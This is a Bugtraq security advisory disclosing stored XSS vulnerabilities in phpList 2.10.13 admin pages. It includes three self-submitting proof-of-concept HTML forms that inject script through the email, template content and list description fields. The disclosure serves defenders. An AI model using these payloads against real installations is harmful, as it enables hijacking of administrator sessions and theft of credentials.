[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
HTB22956: XSS vulnerabilities in phpList
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: HTB22956: XSS vulnerabilities in phpList
- From: advisory@xxxxxxxxxxx
- Date: Tue, 26 Apr 2011 16:07:46 +0200 (CEST)
Vulnerability ID: HTB22956
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phplist.html
Product: phpList
Vendor: Tincan Ltd ( http://www.phplist.com/ )
Vulnerable Version: 2.10.13 and probably prior versions
Vendor Notification: 12 April 2011
Vulnerability Type: XSS
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab (
http://www.htbridge.ch/advisory/ )
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerabilities exists due to failure in the
"admin/commonlib/lib/userlib.php", "admin/template.php", "admin/editlist.php"
scripts to properly sanitize user-supplied input in "email" variable.
Successful exploitation of this vulnerability could result in a compromise of
the application, theft of cookie-based authentication credentials, disclosure
or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is
available:
1.
<form
action="http://host/admin/?page=user&start=0&id=USER_ID&find=&sortby=&sortorder=desc&unconfirmed=0&blacklisted=0"
method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="list" value="">
<input type="hidden" name="id" value="USER_ID">
<input type="hidden" name="returnpage" value="">
<input type="hidden" name="returnoption" value="">
<input type="hidden" name="email"
value='email2@xxxxxxxxxxx"><script>alert(document.cookie)</script>'>
<input type="hidden" name="confirmed" value="1">
<input type="hidden" name="htmlemail" value="123">
<input type="hidden" name="rssfrequency" value="2">
<input type="hidden" name="password" value="test">
<input type="hidden" name="disabled" value="0">
<input type="hidden" name="extradata" value="add">
<input type="hidden" name="foreignkey" value="forkey">
<input type="hidden" name="change" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
2.
<form action="http://host/admin/?page=template&id=TEMPLATE_ID" method="post"
name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="TEMPLATE_ID">
<input type="hidden" name="title" value="tplname">
<input type="hidden" name="file_template" value="">
<input type="hidden" name="content"
value='<script>alert(document.cookie)</script>[CONTENT]'>
<input type="hidden" name="save" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
3.
<form action="http://host/admin/?page=editlist&id=1" method="post" name="main"
enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="1">
<input type="hidden" name="listname" value="test2">
<input type="hidden" name="listorder" value="0">
<input type="hidden" name="owner" value="1">
<input type="hidden" name="description" value='List
<script>alert(document.cookie)</script>[CONTENT]'>
<input type="hidden" name="save" value="Save">
</form>
<script>
document.main.submit();
</script>